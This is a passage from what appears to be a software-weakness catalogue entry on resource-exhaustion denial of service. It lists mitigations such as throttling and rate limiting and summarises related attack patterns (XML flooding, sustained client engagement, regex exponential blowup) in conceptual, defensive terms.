Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.